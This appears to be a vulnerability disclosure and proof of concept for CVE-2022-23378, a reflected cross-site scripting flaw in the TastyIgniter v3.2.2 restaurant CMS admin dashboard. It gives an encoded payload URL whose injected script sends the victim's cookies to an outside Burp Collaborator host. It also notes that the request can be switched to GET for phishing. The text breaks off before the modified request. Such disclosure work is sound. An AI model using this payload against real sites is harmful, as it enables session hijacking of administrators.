# CVE-2022-23378 : Reflected XSS in TastyIgniter v3.2.2 Restaurtant CMS

Authenticated reflected XSS exists in the TastyIgniter Admin dashboard in version v3.2.2.

Mitre URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23378

NIST URL: https://nvd.nist.gov/vuln/detail/CVE-2022-23378

## Proof of Concept (POC):

### Admin Dashboard Allergens:

**Affected URL:** `/admin/allergens/edit/1?items%5B0%5D%5Bpath%5D=%2fdoesnotexist%3cscript%3efetch('https%3a%2f%2fvgfx3ortri1x8mjfw16ngmpq2h8awz.burpcollaborator.net'%2c%7bmethod%3a%20'POST'%2cmode%3a%20'no-cors'%2cbody%3adocument.cookie%7d)%3b%3c%2fscript%3e%20`

**Source code file affected:** `./vendor/league/flysystem/src/FileNotFoundException.php`

When updating an allergen within the administrator dashboard, an option to attach an image to the allergen is available. When attached, a POST request with parameters pertaining to data about the image is submitted. The parameter `items%5B0%5D%5Bpath%5D` is vulnerable to JavaScript injection, resulting in a potential vector for Cross-Site Scripting (XSS). When including the XSS payload, the server responds with an error message containing and executing the XSS payload. 

Original POST request with XSS payload:

Server Response:

```html
HTTP/1.1 500 Internal Server Error

Server: Apache/2.4.38 (Debian)

```

Furthermore, the request can be changed to a GET request with the affected parameter included within the URL, further increasing the likelihood of success for an adversary to exploit on a phished victim. 

Modified GET request:

```http
